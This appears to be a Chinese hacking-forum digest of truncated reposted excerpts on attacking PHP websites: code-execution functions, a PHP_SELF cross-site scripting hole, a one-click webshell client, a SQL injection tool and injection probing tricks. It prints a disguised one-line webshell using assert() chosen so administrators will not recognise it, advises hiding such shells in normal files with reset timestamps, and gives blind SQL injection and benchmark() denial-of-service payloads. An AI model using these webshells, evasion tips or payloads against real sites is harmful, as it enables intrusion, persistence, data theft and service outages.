PHP安全爱好者的盛宴the Month of PHP Security 。拜读php-security上的很多牛文,发出来共享下啦,都是偶像哇。
From:http://hi.baidu.com/menzhi007
一 代码执行函数
PHP中可以执行代码的函数。如eval()、assert()、“、system()、exec()、shell_exec()、 passthru()、 escapeshellcmd()、pcntl_exec() 等
demo code 1.1:
<?php
echo `dir`;
?>
阅读全文
现在的web服务器和开发工具虽然不会再出现像asp的%81那样明显的漏洞了,但是由于开发人员的疏忽和各种语言特性组合造成的一些奇异的漏洞仍然会存在。今天偶然读到的XSS Woes,就详细讲述了和$_SERVER[’PHP_SELF’]相关的一个危险漏洞。
$_SERVER[’PHP_SELF’]在开发的时候常会用到,一般用来引用当前网页地址,并且它是系统自动生成的全局变量,也会有什么问题么?让我们先看看下面的代码吧:
<form action=”<?php echo $_SERVER[’PHP_SELF’]; ?>”>
<input type=”submit” name=”submit” value=http://www.hack58.net//Article/html/3/7/2009/”submit” />
</form>
这段代码非常简单,我们想用$_SERVER[’PHP_SELF’]来让网页提交时提交到它自己,假设代码文件名为test.php,在执行的时候就一定会得到我们期望的地址么?首先试试地址http://…/test.php,结果当然是没有问题的啦,别着急,你再访问一下http://…/test.php/a=1,将会得到如下客户端代码:
阅读全文
Author:零魂(zerosoul)
前天通宵到后半夜的时候,总觉得自己最近都没干什么实事,觉得有点虚度的味道,心中不免有些自责。为了宽慰自己,决定做点正事。然后就啥都没干,坐着干想该做什么。一直想到快天亮,总算想出点东西来了(- -!),也就是现在发布的这个东西。
海洋顶端有个一键提交版的ASP一句话客户端,很方便,一次提交之后,一句话就可以当大马用了。用这种客户端的话,留一句话的shell也就麻烦不到哪去了,而且把一句话藏在正常文件里面,再把时间改回正常,访问只用POST的话,基本是很难发现的。
但是PHP一句话一直没有见这样的客户端(不知道是不是我孤弱寡闻),网上居然还有转载的到处都是的工具,结果下载下来不能用…..
比较喜欢一句话的一键提交这种形式,所以花了2 x 半个通宵的时间做了这个东西,思路参考的是海洋,客户端的CSS也是修改它的,呵呵。
阅读全文
From:zake
拿在手上已经很久很久了,发出来给大家一起分享下吧!
<?php assert($_POST[POST]);?> 大 家可能会奇怪为什么和以前的不一样哈!呵呵 其实在php中 assert和eval的意思是一样的!只是这个函数很少人用!一般管理看 到这个一句话不会以为是一句话!
From:101d1
经常碰到这样的注入环境,但有的时候网上给的工具并不能完全应付所有的环境。比如有的会有过滤啊啥的,为了方便我特意写了这个工具。基本上可以应付所有的 php+mysql5的注入环境,因为自己可以直接修改注入语句,所以只要手工能绕过的过滤,该工具都可以。而且我添加了最新使用 group_concat获取数据的方式,可以大大降低注入时提交的语句量和获取数据的时间。先看看界面吧:

阅读全文
From: Kindle
1、加引号’这个最常用
2、变参数类型,比如把id=1改为id=a等 有时很有效果
3、乱添数据,比如把id=1改为id=1111111111111111111111……等 有时很有效果
4、text.php?aa[]=xx
5、利用php的max_execution_time, 能将绝对路径显示出来. 这机率非常小.适合在服务器负荷严重的时候测试.
6、benchmark( 999999999999999999, md5( ‘test’ ) )
BENCHMARK(count,expr):BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。
id=1 union select 1,benchmark(500000,md5(‘test’)),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
利用找个函数可以作拒绝服务攻击!!http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0×41)),不过前提还是要求可以注射。